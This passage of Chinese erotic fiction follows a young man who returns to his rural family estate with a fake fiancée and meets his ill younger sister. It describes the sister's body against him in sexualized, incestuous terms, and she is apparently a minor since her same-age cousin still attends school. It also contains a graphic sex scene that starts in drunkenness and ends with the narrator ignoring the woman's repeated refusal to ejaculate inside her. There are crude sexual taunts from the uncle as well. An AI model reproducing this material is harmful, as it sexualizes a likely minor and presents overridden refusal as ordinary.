「如果有什麽事,请按呼叫铃,我立刻就过来!」

我看着澄江身後的别馆,这栋在大小或造型上,都比不上主栋的建物,素
且灰暗,充满了疾病的晦气。据说原本曾祖父是建来当书斋的,但却只留给我
隔离小屋的印象;事实上,母亲也在此与病魔奋战了六年以上,当时我很担心
母亲,常偷偷的跑到这里来看她,别馆中总传出母亲痛苦的哀号及父亲鼓舞她
的说话声。

不久母亲病好了,回到家中後,我总觉得不对劲,在我心中,多病的母亲
和健康的母亲,并不一定是同一个人。很可笑,但我认为差别太大了,难道,
我的妈妈有两个人吗?我甚至这麽想,结果我并未向双亲提及这个疑问,因为
我很害怕,害怕妈妈…幸福…都失去了…。
「俊彦少爷?」
「啊?啊…嗯,我知道了,谢谢!」

看着澄江离开後,为了和妹妹见面,我进入别馆之中。

当我环顾着母亲也使用过的房间时,一位少女从床上起身。

那是三年不见的妹妹琴美。

一见到妹妹,我的背上彷佛有电流急遽流过,体内的温度急速上升,心脏
被压迫,脑中几乎烧焦,中枢神经麻痹,眼前的景色颠簸,身体冒着冷汗,激
烈地耳鸣及头痛,喉咙灼烧,唇舌乾涸,想润泽也挤不出一滴唾液。我拼了命
,绞出一丝嘶孔。

但实际上我只是嘴唇微微一动,别说声音,连气息都呼不出。尽管如此,
少女却诧异地慢慢转向我,无助的神情,即刻转变为惊异而後静止。然後,有
如慢动作般,又如冰块融解为水一般,表情渐渐微妙地变化着。

「哥哥!?」

夹杂着无奈,又蕴藏着爆发情感的一句,直击我的脑门。我全身的血液逆
流,泪腺解放而朦胧的视野中,只有琴美的轮廓鲜明地浮现。
「哥…哥哥…哥哥回来了!」

没出息的我,几乎快要晕倒,抽搐着身体,无法依意识行动,只能注视着
琴美,凝听她的声音。

然後,我支持不住身体,就要向前倾倒。几乎同时,琴美飘扬着长发,飞
奔进我的怀中。

「哥!哥!哥哥!」

泣不成声的琴美,紧紧依偎着我,我也用力环抱她窈窕的身躯。这三年间
,琴美的确成长了许多,与我记忆中的模样有若干相异,但腕中的人确实是妹
妹琴美,是我最疼爱的妹妹。

我有如倾吐积郁在胸口的思念一般,轻声呼唤妹妹的名字。
「琴美…」

「是哥哥的声音,是哥哥的气味,真的是哥哥!」

使力紧抱住我的琴美,以全身确认我的存在,甘美的香味刺激着我的鼻腔
。从她贴紧的躯体中,灼热的体温,激烈的心跳,如洪水一般流进我的体内,
琴美一定也同样感受到我的体温和心跳吧!

在我们之间,除了衬衫和薄薄的浴衣之外什麽都没有。发育之中的柔软质
感,被我的胸膛压挤成一团。我感觉到顶上小巧坚挺的突起,从那个夏夜以来
一直压抑的思潮,化为强烈的晕眩向我袭来。我任由排山倒海的激情冲击,使
劲抱住琴美。

「你回来了,哥,琴美好担心,哥,你到山里去後一直都不回来…」

「找到爸和妈了吗?你是去找他们的吧?」
「什、什麽?你在说什麽?」

「哥,对不起,琴美的身体不好,不太能到外面去,所以没能陪你去找爸
蚂…」

她的记忆混乱了吗?还是…我的背後冒起冷汗。

「怎麽了?哥你也生病了吗?你脸色不大好唷,该不会是琴美把病传染给
你了吧?」

「不、不是的,我没事,不要紧!」

「那就好,要是哥也生病了,琴美真不知该怎麽办?」

「别担心,你要好好休养,赶快好起来!」

「嗯,琴美会尽快恢复健康,再和哥哥一起…咳,咳咳!」

妹妹开始咳嗽,没能把话说完,和我一起做什麽?有点想知道又不愿知道
,有点了解又不太了解。我一边想着这些,一边想呼叫澄江,但她看来又没事
了。

与病危比起来,像这种程度从小就是家常便饭。
「总之,你比我预想的要健康,真是太好了,不过还是要注意自己的身体
,我要走了!」

「哥哥,不要再丢下琴美一个人…」

走出房间时琴美对我恳求,我只能默默点头。

妹妹确实并非病危状态,我越来越在意电报的事,假设是有人故意恶作剧
,那麽是谁呢?东京的友人中,没有人知道我的过去,家中的人与村里的邻居
,都不可能知道我的住处,既然如此,是谁?又为了什麽?
也许因为安下心的缘故,我开始对电报的事不着边际地思索。无意间,我
发现长谷川挡在我的前方,以地狱使者般的冷酷眼神,俯视着我。
「你见到琴美小姐没事,已达到目的了?」

毫无昂扬顿挫的声调,他好像想尽快将我赶出去。其实我也压根儿没有长
居此处的打算,可是,这男人为何把我当成瘟神?司机时代的他,是个沉默寡
言的好人,我不在的期间,这里一定发生了些什麽事!

「算是吧,静子呢?」

「她出去了,暂时不会回来!」

电报的寄信人是静子叔母,我原本期待能从她那儿找到些蛛丝马迹,可是
她却不在就没办法了。

「总之,晚餐准备好了,请到餐厅去吧!」

煞有介事的态度。我耸了耸肩,再度向大厅走去。

第二章茉莉香
来到餐厅後,茉莉香已在那儿等我。
「俊彦,怎麽这麽慢?」

「嗯…有一点事延误了,怎麽不进去?」
「因为一个人会不安嘛。刚才小望也问了我一大堆事,我想应该没穿梆…」
我有点着急起来,如果茉莉香是假未婚妻的事穿梆了的话,真不知该怎麽
面对长谷川?总之,先进去餐厅再说说。
二十张榻榻米左右大小的室内,坐着叔父神田康之及两个小孩,晋吾与小
望兄妹。澄江往返在厨房与餐厅之间,默默准备晚餐。
一踏入室内,叔父就先开口。
「唷,俊彦,真是好久不见,看来过得不错嘛!」

「好久不见了,托您的福,我过得还可以,大家也都很健壮嘛!」
「还好还好,儿子和女儿很健壮,我的小弟弟更健壮,哈哈哈!」

叔父好像很满意自己开的低级玩笑,开始咧嘴大笑。当然,笑得出来的只
有他一人,茉莉香甚至明显的露出厌恶的表情。

「可是,是谁寄电报给我的呢?还写说琴美病危?」

「琴美病危?开玩笑也该有个限度,我不晓得,有人知道吗?晋吾?小望
?」

神田兄妹异口同声说不知道,大概真的是恶作剧吧?

「是吗?不过,寄信人的姓名写着静子叔母的名字…」
「她今天不在,晚上不会回来,等她回来你直接问她吧!」

我心中纳闷着,在餐桌旁坐下,茉莉香也坐在我隔壁。

「那些先不管,听说你今天带着未婚妻凯旋归来是吧?这位就是茉莉香小
姐吧,真是大美人哪,不错嘛,俊彦你真有两把刷子!」

在我介绍茉莉香,说明近况的时候,叔父也同样笑容满面,偶尔插嘴说个
无聊的笑话,一个人自得其乐。和兴高采烈的康之叔父正好相反,餐桌上的气
氛越来越尴尬。

不只中年而已,已经开始进入衰老期的叔父,个性就和他猥亵的肥油容貌
如出一辄,我从没见过如他这般能令每个人都不愉快的人。

「不过啊,你的工作又顺利,而且还找到个美女未婚妻,虽然我不知原因
,可是你离家出走还满有代价的嘛!」

哪壶不开提哪壶。看着不吭声的我,小望畏畏缩缩地插话。

「爸爸,差不多该开饭了啦!」

小望和琴美同年龄,从小两人长得就很像。我离家前还不大的小望,只要
学校连休都会来玩。她和琴美不同,总是朝气蓬勃,常常跟我去风景写生,自
己也会胡乱涂鸦。

坐在旁边的晋吾,应该已经蛮大了。和我家相反,神田家好像哥哥比妹妹
心思细密,金属框的眼镜与遗传自他母亲的尖下颚,给人神经质的感觉。他一
言不发,只用眼角不停瞄着四周,似在思考什麽事的样子。

「爸,吃饭了啦!俊兄,不,俊彦先生他们一定也饿了…」

「啊,是我不好,歹势啦,开饭吧!不要客气,尽量吃吧,喂,澄江,多
端一些菜出来!」

澄江做的家常料理极为美味,可是一看到叔父的样子,我和茉莉香就不太
大胃口。
「怎麽了?澄江做的菜不合口味吗?」
「不,非常好吃!」

「那就多吃点吧,反正,今天晚上你要好好享受一番吧!」

享受什麽?我一出口就後悔了,提出问题无外乎火上加油,这是很容易想
像得到的。不用说,叔父露出满面下流的笑容,开始喋喋不休。
「在这荒郊僻野中说到享受,当然只有一件事,不用说也知道是打炮吧!
喔,这句话是从哪学来的呢?最近年轻人说的名词真是越来越有趣了!」

「叔父!」
「害什麽羞啊?你们有婚约在身,做这种事是正常的啊,对吧?茉莉香!」

茉莉香不理他,他居然问出更难堪的问题。
「对了,你们平常喜欢用什麽体位办事?」
「在晋吾和小望面前说这种事,不会不好意思吗?对茉莉香也很失礼吧!」
「你想说我性骚扰吗?我家这两个孩子你可以不必担心,他们都已经不是
小孩了,况且现在都市里的年轻人,不都流行什麽援助交际吗?早就进入自由
性爱的时代了;茉莉香在认识俊彦之前,和几个男人睡过呢?」
叔父依旧淫猥地笑着,一副挑的态度。我的拳头在餐桌下不觉中握紧,这
时茉莉香的手盖了上来。

「我…三个人,和三个男人睡过,我本来就没打算隐瞒,所以你对我有什
麽看法那是你的自由。」

她这番逼不得已的发言,让我为之一惊,浑身僵直。

「哇哈哈!真是个诚实的好女孩,太棒了太棒了。俊彦,这种女人你打着
灯笼也找不到,别说三个月後,我现在就举杯祝福你们!」
叔父愉快地咧嘴大笑。看到他的笑脸我就起鸡皮疙瘩,浑身不快。老实说
,我恨不得立刻就飞奔出这屋内;既然确认了妹妹没事,加上考虑到伪称茉莉
香是未婚妻这件事,再待下去也没用;而且,叔父下流无耻的言语,更叫我无
法忍耐,我甚至认真考虑是否乾脆带茉莉香走路到邻村,但我之所以没这麽做
;是因为她对叔父毅然采取了对抗的姿势,我既然让她淌了这趟浑水,就有义
务照料她。至少在明天早上一起离开之前,我绝对会彻底保护她。

澄江所做的美味料理,很可惜的被迫吃来索然无味,终於晚饭的时间告一
段落了。

「俊彦,这里是你的家,你爱待多久就待多久,今晚就伸长你的大南傍国,
狠狠地把茉莉香搞得欲仙欲死吧,哈哈哈!」
叔父最後不忘再开个下流的玩笑,走出了餐厅。紧接着,神田兄妹也由椅
子上站起,小望看着我,似乎有话想说。

「呃,俊彦先生,那个…下、下次请再教我画画…」

「啊,当然好!」
「哇,谢谢!」

愉快地微笑的小望身旁,绷着脸的晋吾小声开口。

「小望,走了,用功时间到了!」

「唔…好,俊彦先生,茉莉香小姐,我先走了!」

扭扭的兄妹离开後,澄江对我们说道。

「两位的房间,就是刚才带领茉莉香小姐前去的那间。」
「嗳?我们住同一间吗?」
「是的,是那间吾襦之间。康之先生嘱咐说那间最适合。」

可恶的康之叔父!我在心中破口大骂。吾襦之间,是用来接待新婚客人的
房间。

「还有,他说,棉被只要一条…」
「真的太…」

我被叔父周全而恶劣的计画气得目瞪口呆。他好像无论如何都要我和茉莉
香结合,我瞄了瞄身旁,却得到意外的回答。

「我不在意…」

等一下,但是我在意,我不知道她怎麽想的,但一切都被叔父玩弄在股掌
之间,令我相当抗拒。可是话说回来,一想起那个夏夜,我又不愿意回我以前
住的房间一个人睡。

迷惑了一阵子,为了必须住在素不相识的家中的茉莉香着想,我决定目前
还是和她在一起较好,而且,经过长途旅行後也感疲累,想早点休息。

婉拒了澄江的带领,我带着茉莉香离开。在走向吾孺之间的路上,茉莉香
频频偷瞄我的脸。站在我的立场,叔父的事令我感觉自卑,老实说,我实在不
知该怎麽面对这一切。

「俊彦…呃,那个…你会…你会看不起我吗?」

忍不住先开口的,是她。
「我怎麽可能看不起你?正好相反,康之叔父说得那麽过份,而你一步都
不退让。换成别人的话,不可能有勇气采取那样毅然态度的!」

我说的是真的,过去怎样都没有关系!而且,虽相识不到数小时,但我认
为,她不是个会在别人面前淡然说出那种话的女孩,她摆明了与叔父对抗的精
神,赢得了我的好感。

「甚至可以说我很尊敬你。这里就是吾襦之间…」

八张榻榻米大的房间中,如澄江所说,只放有一件棉被。我们适当地摆放
行李,互相背对着换穿准备好的浴衣,穿了宽松的浴衣,我们的心情也变得舒
坦。应该是的,可是实际上即使内心想放松,却反倒浑身不对劲。

「你怎麽了?轻松一点嘛!」

「你才是呢,好像很紧张的样子。」

「我干嘛紧张啊?」

「我哪知道?可是看起来就很紧张。」

「哪有啊?那个,你今晚准备怎麽办?啊,别误会,我不是那个意思。」

「我知道,你不是那种男人。」

轻声低语中,似乎蕴藏了某种涵意。我多少有些在意,但追问的话会很尴
尬,还是算了。看到她若有所思的表情,我只能沉默不语。

凝重的沉默,这气氛和吾襦之间一点也不相衬。虽然我们这对假未婚夫妻
待在这房间里这件事,本身就很奇怪。

只是我压根儿没想到,吃完晚饭後会这样闲得发慌。叔父的戏言横过我的
脑海,我在心中对他摇头拒绝。

要说些什麽才行,可是,这回先开口的又是茉莉香。

「俊彦,要不要去散步?到中庭走走,转换一下心情吧!」

「啊,好啊,当然好,赞成!」

煞有介事地一搭一唱後,她总算恢复了平日的笑容,我们从露台走出中庭
,以轻松的脚步闲晃在夕阳面下的庭园中。
「这庭院真是大,好羡慕!」

「在这里,庭院的大小一点也不稀奇,周围的山野全都像自家的院子。」
「所以才更让人羡慕啊!」

「是吗?我住在东京三年,总觉得住得比这里习惯,大概是比较合我的个
性吧。当然,饮水是差多了!」

中庭的尽头,有一栋古老的大仓库,我们在仓库前折返。

「不愧是历史悠久的家族,连仓库都这麽大,里头该不会是座宝库吧?」

「开什麽玩笑,成天做白日梦的女大学生,你电视看太多了。」
「嗳~太过份了,把我说成那样!」

茉莉香稍微嘟起嘴,却似乎并不是真的生气,马上就又咯咯地对我笑。她
八成是想把晚餐时的不快感一扫而空吧。

「可是,我还是不能理解你为何丢下这里不管,跑到东京去…」
不能理解?是啊,常人都不会懂的,但是,在某个意义上来说我并非常人
。不,不只有我,这个家的人,还有这村子里的人,我想大家都非常人。

「我啊,从以前就和他人有些不同,告诉过你我父母均殁的事吧?其实死
去的母亲,在我心目中是有两个完全不同的形象的…」
我想起母亲的身影,虚空的眼神望向远处。

生了我之後,母亲就时常卧病在床,由於病情一直没有好转,所以连我这
个儿子都很少在她身边。照料母亲的工作由父亲扛起,我则多被澄江的父亲高
野先生及长谷川先生带去游玩,因此对双亲的记忆相当模糊,小学一、二年级
之前的事,几乎没有记忆,因为连全家福的照片都不曾拍过。

但是从生下妹妹琴美之後,情形有了大转变,妈妈恢复了健康,每天都带
我和琴美去散步,我们彷佛要填补以往亲子交流的空白一般,母子间无所不谈
,而且,一家人全心全意地,疼惜着宛如代替母亲生病的妹妹。

基於同为苦命人的亲切感吧,我罗哩罗嗦了一大堆。这种话我从没对人说
过。茉莉香也不发一语,默默地凝听。

边说话边漫无目的地散步的我们,不知何时已来到别馆前。

「这里是什麽地方?」

「是别馆,以前母亲身体不好时在这里养病。现在…养病的人是妹妹…」

出乎意料的,这时从别馆的方向听见了奇特的声音。竖起耳朵听,似喘息又
似低吟的声音,断续地从屋内传出。

「这是什麽声音?琴美?是琴美?」
「嗳?」

「是琴美不会错,她在呻吟吗?」

我想确认别馆里面的情形,於是向着门口接近。这时,刚才并未看见的长
谷川,就挡在我的眼前。

「长谷川先生,你来得正好,琴美好像在呻吟…」

「你晓得的吧?琴美小姐的病情我们交由澄江负责!」

「这是什麽话!赶快让我进去!」

「如你所知,我们有医学方面的完善准备,外行人没有插手的余地。」

长谷川彷佛一座巨大的岩山一般阻挡在前。这回没有茉莉香的助阵,我充
分体会到有如青蛙被毒蛇盯上的心情。互瞪了一会儿後,也许澄江在里面医治
琴美吧!没有再听到声音了。
「回你的房间去!」

长谷川以严厉的口气要求我,我无可奈何,只得顺从。

回到客房後,茉莉香歉疚地看着我。

「那个,刚才对不起,你在别馆门前,我没办法…」

「不,他说的没错,我这个外行人根本帮不上琴美的忙。」

「没这回事,有很多事是非你不能办到的,你能为琴美做的事太多了!」
「是的话就好了!」

虽这麽说,但我很怕见到琴美痛苦的表情。她的病情,主要原因不在肉体
因素,而在於精神方面异常所引起。一旦情绪崩溃,会引发高热与气喘发作,
严重的时候甚至会吐血。每次见到琴美的病状,我就心如刀割。我比谁都喜爱
疾病缠身的妹妹,好想要就此永远待在她的身旁,一辈子都能照顾她。

正因如此,正因如此,我不能逃避!

「喂,俊彦?你没事吧?」

茉莉香看我闷闷不乐,想为我解愁。

「这种时候就要喝点小酒。来,喝吧!今晚喝个痛快!」

她从行李中取出酒瓶,将琥珀色的液体注入矮桌上的酒杯,我在一旁茫然
望着她的动作。

「来,乾杯吧!」

反正棉被只有一条,喝个通宵也不错!

我大口喝光杯中的白兰地。

过了多久了?酒瓶中已经一滴不剩。

茉莉香呆滞地笑着,醉醺醺的样子一目了然。

「辣个咧,偶跟里讲喔,喂,里有没有听偶唆啦?」

醉得口齿不清也是当然,她大概喝了比我多一倍以上的量。

「小彦啊!里甘有在听偶讲话啦?」

「在听啊,可是你先把衣服穿好啦!」

「啥米?里唆偶的衣胡怎样啦?」

「浴衣没绑好,看到内裤了!」

「哇哈哈哈!里浑讨厌喔,小彦速色鬼!」

茉莉香毫不介意,开始狂笑。我的眼晴不知该往哪看,但还是忍不住偷看
一下她零乱的浴衣间裸露出的,微微泛红的肌肤与纯白的内裤。

「虾米?里怀在偷看?忍赖不自了速吗?」

说的话越来越让人听不懂,最後一句已经不知道在说些什麽了,可是她想
说的话,正中了我的内心。
「少废话,我也喝醉了,当心我藉酒装疯霸王硬上弓!」

「哈哈哈!辣里就四四看啊。」
「你以为我不敢吗?」
她可能只是说笑罢了,可是我不吃那一套,上下的头都血脉贲张,我抑制
不了自己,身体比意识更快采取了行动。
我把轻喊一声「呀!」的茉莉香压倒在棉被上,解开已松弛的衣带,抓住
零乱的浴衣啪一声左右拉开,丰满的胸部,展露在我的眼前。血色鲜嫩的肌肤
显得微微润红,是喝了酒的关系吧?粉色花瓣的中心,硬挺高涨的乳尖向上突
起。
「俊彦,温柔一点,呀…」

低声的呢喃,是清醒的声音。

「怎麽,不是醉了吗?」

「你醉了?醉了才做这种事?」
我?我怎麽了?我想做什麽?扪心自问的我,被一双朦胧的瞳孔凝视着。
「我,就算是也无所谓…」

「为什麽?」

「别管,快来吧!」
那是甜美又无奈的诱惑。这一句话,让我的感情瞬时高腾,我紧搂住那魅
惑的肢体,在光滑的肌肤上舞动我的指尖。

我直接感受着双十年华女孩的体温,放肆地蠢动双手。无意识但真实地,
十支手指宛若个别的生物般蠕动,一面揉搓浑重的玉乳,一面转动着那颤抖的
乳尖。

「啊,噫,呀~不要光无摸胸部…」

我顺从茉莉香的哀求,将右手离开胸部,沿着平滑的曲线向下滑去,越过
肚脐,到达蕾丝装饰的薄布上。

一边压着充满弹性的下腹部,一面把手指探入内裤的间隙中,触 到茂密
森林的前端。在柔毛的树丛上划着圆爱无後,再往下方探去,即刻抵达热烫柔
肉上的秘缝枣

「嗯…啊啊…嗯啊,啊啊啊啊…唔…」
我的右手持绩着内裤中的秘境探险,茉莉香的口中也开始吐出湿热的喘息
。当然,我的左手也不停止上方的爱抚玩弄,嘴唇和舌尖同时对胸部及乳尖进
行吸舔的进攻,而且,因刚才略为粗暴地抚弄她最敏感的部位,茉莉香的身体
开始产生诚实的反应。我的右手指尖,已被渗出的爱液沾得湿湿滑滑的。

「茉莉香,已经这麽湿了!」

「唔啊,不要说了!我已经,快要不能忍耐了!」
「喔?快要高潮了吗?」

「不是啦!你,你很坏耶!」
我并非装蒜,也不是想让她焦急,纯粹只是判断错误,反而我自己着急得
不得了,一抱起她的上半身,就尽情地用力由背後掴住那柔软丰满的胸部。

「啊!好痛~俊彦,好痛~」

在陷入柔肉的指间,清楚地感觉到坚挺的突起更加变得紧绷涨大,我胡乱
地继续舞动我的十指。

「拜托,拜托你,赶快插进来…赶快进来我的体内…」
我呼吸纷乱点点头,拉下她覆盖下腹部的薄布,然後将我的内裤中暴跳而
出的男很,抵在裸露的湿濡秘部上。
「啊啊!好热,好热!俊彦的…嗯啊,啊,好热!」

事实上,我根本没有女性经验,完全不清楚这时候要怎麽做才好。一昧蛮
干的结果,根头只在秘缝周围空转,始终无法抵达目的地。
「啊,不要让我焦急…唔…或者,你是第一次?」

我没回答,心无旁骛地压进男根。茉莉香有些看不下去了,右手温柔地帮
忙着我高翘的巨棒。我的分身受到新的刺激而抽搐,跟随着引导,潜入湿漉漉
的裂缝之中。

「唔!俊彦的好大…啊,啊啊啊!好粗~!」
「茉莉香的体内好热,热得快要溶化了,而且,滑溜的感觉爬上来了,好
,好舒服!」

因酒与悦乐而身体热烫的茉莉香体内,彷佛灼热的火炉,我也沉醉在酒精
与初次的交合之中,意识渐趋朦胧,可是下半身却继续贪婪地追求快乐,不停
激烈跃动。

「唔啊!怎麽,突然…唔唔唔~!!不,不行!!」

茉莉香痛苦似的像要挣脱,不断扭动身体。她每一扭,肉壁与柔唇就更夹
紧深埋其中的肉棒,麻痹的快感疾驰过我的背部,所以我更加激烈重复自我任
意的粗暴抽送。每回突刺、扭转、摩擦,结合部位就「噗滋噗滋」地传出淫靡
的水声,高潮的界线,就差一点了枣
「唔唔…要出来了!!」

「不,不要!不能射在里面!!俊,俊彦!要射的话,要在外面!」

茫然听着茉莉香大叫的我,急忙想抽出肉棒,可是拔出的动作却无法配合
上抽送的节奏,结果,我的男根一边强烈地射精一边抽出体外。

「唔哇!?里面,里面不行~!!」

我听到了她的狂叫,感觉上却像远处的声音,在内外都放出大量精液的我
,和茉莉香互相依靠着,躺进棉被中。

「呜…呜呜…太过份了,我说过里面不行的…」

「对不起,我…是第一次…因为太舒服了,所以…这个…不知所措,来不
及…」

说出一堆丢脸的藉口,小弟弟刚才的威武也消失了,缩得小小的,无力地
垂流出剩余的白浊汁液。

「而且,只有你一个人高潮,人家还没…」

「对不起,真的对不起,我…」

「算了,晚安!」

说完这句话,茉莉香就拾起散落一地的浴衣,套进头上。在我看来,这简
直就是未婚妻游戏结束的宣告。

我痛责、厌恶起自己。没办法,只有走离她的身旁,然後只能蹲在房间的
一角,等待黎明到来。

杵在墙边醒来的我,身上不知何时盖了件毯子。
我想是茉莉香盖的吧?将目光移往棉被的方向,她已经不在那儿了,浴衣
也整整齐齐地叠好。她大概比我先醒来,而且也盥洗完了。

一阵清爽的微风拂过房中,太阳也已高高昇起,墙上的时钟指着□时的方
向。我伸了个懒腰,从毯子中爬出,四处张望,茉莉香已经不在了吗?

想起昨夜的失态,我又垂头丧气。

我的初体验对像-茉莉香,她现在大概很讨厌我吧?原本我们之间的关系
,就只不过是昙花一现的恋情罢了。

恋情?我迷恋上茉莉香了吗?所以才和她做爱?那麽,这表示情和性能够
划上等号吗?只要是恋爱中的男女,性爱都能被正当化吗?假设是的话,那麽
比情更上等的爱呢?只要是与你爱的人,只要两人相爱,结合是理所当然的吗?

我爱的人是…我,我所爱的…
「早安,俊彦少爷!」

听见问候声,我抬起头一看,澄江正跪在走廊上。

「早餐马上就准备好了,请您到餐厅用餐!」
她一夜未安眠,却不改严谨的态度,彷佛把自己关入名为佣人的笼牢之中。

「澄江姐,拜托你,像以前那样说话好吗?我觉得现在好生疏喔!」

「我…我已经不是以前的澄江了,我现在是佣人的身份…」

我完全不知为何她会如此顽固。

我唯一可以确知的,就是在我离家的这段期间内,一定发生什麽事改变了
澄江,仅此而已。

「你有什麽烦恼吗?只要我办得到,一定会尽力帮你。」

澄江显得沮丧,看来她有烦恼的事应该是可以确定的。可是我也不能恣意
探听她的隐私,只能等待她自己说出来,她真的会对我告白一切吗?

「可是,俊彦少爷会回东京吧?」
我诅咒起自己的愚昧。变了的不只是澄江而已,我自己不也和以前完全不
同吗?

「对不起,我说了不负责任的话。」

「请您不要介意。」

我们之间被凝重的气氛支配着,从昨天开始就一直如此,回来果然是错误
的决定吗?如果没有那封电报的话…

「澄江姐,昨晚琴美好像很难过吧?可是,我什麽都不能做,就算在这里
也帮不上琴美的忙,所以,我想至少能帮忙一下别人!」

这是我的肺腑之言,可是听起来却像在说谎一样。

「啊,不,抱歉,当我没说好了,不敢面对一切而逃跑的我,现在说什麽
都缺乏说服力,琴美就麻烦你了。」

「我知道了,那麽,我要到餐厅去了,俊彦少爷也请到餐厅用餐。」

五分钟後我到了餐厅,却没有别的人在,大概因为睡晚了,其他人都用过
餐了吧?总之,先等等澄江吧。

对了,茉莉香到哪去了呢?难道她还在生昨晚的气,先离开了吗?若是如
此,那麽未婚妻的事说不定会被揭穿,孤立无援的不安与焦躁,阵阵刺痛着我
的胃。
「俊彦!」

凶悍的声音传来,害我吓了一跳,回头一看,静子叔母回来了。
性感的体态,全身穿着华丽的名牌时装,三十六岁的叔母依然青春美丽,
说她才二十多岁也没有人会起疑。我不称呼她「静子叔母」而直接叫她「静子
」,就是这个原因。

静子和长谷川在一起,看来刚从外面回来。由两人的表情判断,搞不好茉
莉香的事已经穿帮了。

「你到底到哪儿去了?三年来连一点消息也没有!哥哥还拜托过我要好好
照顾你和琴美耶,可是你真不听话!而且听长谷川说,你好不容易出现了,结
果还带未婚妻回来是吧?」
果然开始了,我早就有心理准备。
「你是高木原家的继承人,不应该随便带个来路不明的小女孩回来,就突
然说要结婚吧?对方身家清白吗?不是别有目的才对你示好的吧?是不是?」
「我…不大懂你的意思…」
「我在问你,她是不是窥伺家里的财产!」
静子一口断定。我在心中盘算了一下,看样子静子认为茉莉香其是我的未
婚妻。
「茉莉香不是那种女孩,家里的事,在来这里之前我从未对她提起过…」
说到财产,我们多少还有一些金钱,以及土她和房子。但我不认为有人会
对这种穷乡僻壤动歪脑筋。
「真的?可是,也太突然了吧?至少事前应该连络一下不是吗?因为我们
连你的住处都不晓得…」
「不晓得我的住处?不是你寄电报给我的吗?」
我对她说明电报的内容及发信人的事。
「我没发什麽电报,也没叫人发,而且,也绝不可能开琴美病危这种恶劣
的玩笑!」
静子断然否认,她看起来不像在说谎,我也想不出她有说谎的理由,那麽
,那封电报到底是谁搞的鬼?
「那麽到底是谁呢?」
「我才想问你呢,总之,我才刚出差回来,待会儿再好好谈谈吧!」
静子说完後,就和长谷川一起走出餐厅。
电报究竟是谁发的?与我、琴美,还有高木原家有关系的人,应该已经没
有了才对。高木原家,原本就是亲戚极少的家族。
我陷入沉思,突然听到背後传来一对男女的声音。
「唷!俊彦,早啊!」
「早安,俊彦!」
是茉莉香和叔父。我看到她就安心多了,以致没想到会自掘坟墓…
「醒来时没看到你,还以为你一气之下跑掉了。」
「喔?你惹她生气了吗?该不会是无法勃起吧?情侣会在一夜间突然不和
的原因,除了这个不会有别的,哈哈哈!」
弃械投降和没法勃起,没多大的差别吧!康之叔父的推理,严格来说也是
对的,我只能怨恨地瞪着他。
「俊彦不是那种人喔,叔父。」
茉莉香说道,我一下子目瞪口呆,现在是什麽状况?我还以为茉莉香和叔
父之间水火不容呢!
「那麽,来吃饭吧。小鬼们去学校三加暑期辅导了,我和茉莉香等你起床
等了好久…」
我们随意围在餐桌旁,走出厨房的澄江正在摆放餐点。
「俊彦,今天天气不错,你们两人可以去山泉玩玩。」
「你是说姬御前之泉吗?」
「嗯,对对,那里是最适合带小女孩去的地方。那儿连村里的人也很少去
,可以打野炮打到爽,哇哈哈哈!」
我对叔父的无耻下流,已到了不耐烦的地步。可是,茉莉香却和昨晚不同
,只是淡然地当做没听见,我对茉莉香适应环境的能力之高感到讶异,於是决
定傚法她。
「我今天打算和静子聊聊。」
「和静子?免了啦,要聊随时也能聊不是吗?先去泉边玩吧!年轻不要浪
费时间,俗语不是说少壮不打炮,老大徒伤悲吗?哇哈哈哈!」
叔父又说了无聊的笑话,热心地劝我们到溪边去。
「你和静子之间怎麽了吗?」
我觉得有趣,装着漫不经心地发问。我以前就晓得他们夫妻间感情不好,
他们两人在一起,任谁看到都会觉得不搭调吧!据传闻,静子是被她父亲,也
就是我祖父,硬逼着嫁过去的。
「我的事你别管,去做你们该做的事!」
叔父面不改色,口气却显得不悦。我想追问的时候,茉莉香却意外地声援
叔父。

「那座山泉很漂亮吗?我好想去喔!」
「你看吧,茉莉香想去。你们两个去痛快地爽一爽吧!」
援军开到,叔父又开始嘻皮笑脸。我不自在地看着这两人,心想要想个适
当的藉口脱身,而且,我还惦记着一件事,对,电报的事,到底是谁,寄给我
有什麽目的呢?和静子好好谈谈的话,说不定会发现些蛛丝马迹。我觉得应该
不会错。
「但是我必须回东京,所以想快点和静子讨论这件事。」
「啊,可是,稍微再打扰一阵子也不碍事吧?」
她这句话的意思,我花了三十秒才理解。心中至少重覆她的话六次之多吧
?总算了解她的意思後,却不如该怎麽回答。
「其实,我刚才一直都在中庭散步,然後我深深感受到,这里真是个山明
水秀的好地方啊,总觉得急着赶回去真是太可惜了!」
「怎麽样?俊彦?」
叔父夸耀胜利般说道。不过,如果要留下,她就必须继续伪称是我的未婚
妻,那样太冒险了,但是她似乎完全明了这一点。
「是吗?说得没错,可是我还有工作…」
「嗳?再一个礼拜没关系吧?不然三、四天也好,你偶尔也要疏松一下筋
骨,每天都忙於工作的话,身体会吃不消的,好吗?」
我完全不知如何回答,要是周围没人在的话,我应该会立即询问茉莉香其
正的用意何在。突然,静子的话在我脑里闪过。
茉莉香,在窥伺家里的财产吗?怎麽可能?不会吧?
「小姐说得对,你就待一阵子吧,还没和琴美好好聊聊天吧?昨天我也说
过,这里是你的家,不必介意任何人!」
叔父看着始终拒绝不了的我,对我劝诱。表情仍然是一贯的嘻皮笑脸,但
声音却有着令人不可抗拒的魔力。
「可以吗?」
在茉莉香和叔父这对怪异的搭档面前,我一步步被逼得竖起白旗。
「这个…两、三天的话…」
「真的!?俊彦,谢谢!那麽,我们赶快去山泉玩吧!」
茉莉香像小学生般兴奋,但好像有种空虚的感觉。
「俊彦,你该不会有什麽心事吧?难道,你不想和茉莉香在一起?」
就像昨天我和茉莉香指责长谷川一样,这次换成茉莉香和叔父把箭头指向
我。都被这麽说了,我也不可能不答应。
姬御前之泉,在爬上陡峭山路二十五分钟後到达。
我们默默无语地走了十五分钟,对我而言,我不喜欢她反过来和叔父联手
。敏感的她,似乎也察觉到了,可是我还是很想问她到底打算怎样。
「你想问什麽就说啊!」大概耐不住沉默吧,茉莉香突然开了口。
「我真的是很喜欢这里,所以…也知道这麽做对不起你,可是我想再待几
天…」
「被叔父灌了迷汤吧?」
「才不是呢!我们只是聊了一下,我还想说,来这里玩刚好能够不用看见
他…」
「那麽也可以和我在这里做罗!」
茉莉香停下脚步,正面盯着我的脸。
「你在开玩笑吗?你真的认为我是那种女人?」
「我没办法不这麽想,我因为昨天的事心情沉到谷底,你却还…」
「那是你不好吧!色男本性完全毕露,做爱也只顾到自己的感受,而且我
都说了要射在外面,你还在射在里面!!」
被她不留情面地批评,但我无法反驳。
「如果因此怀孕的话,你要负责任耶!」
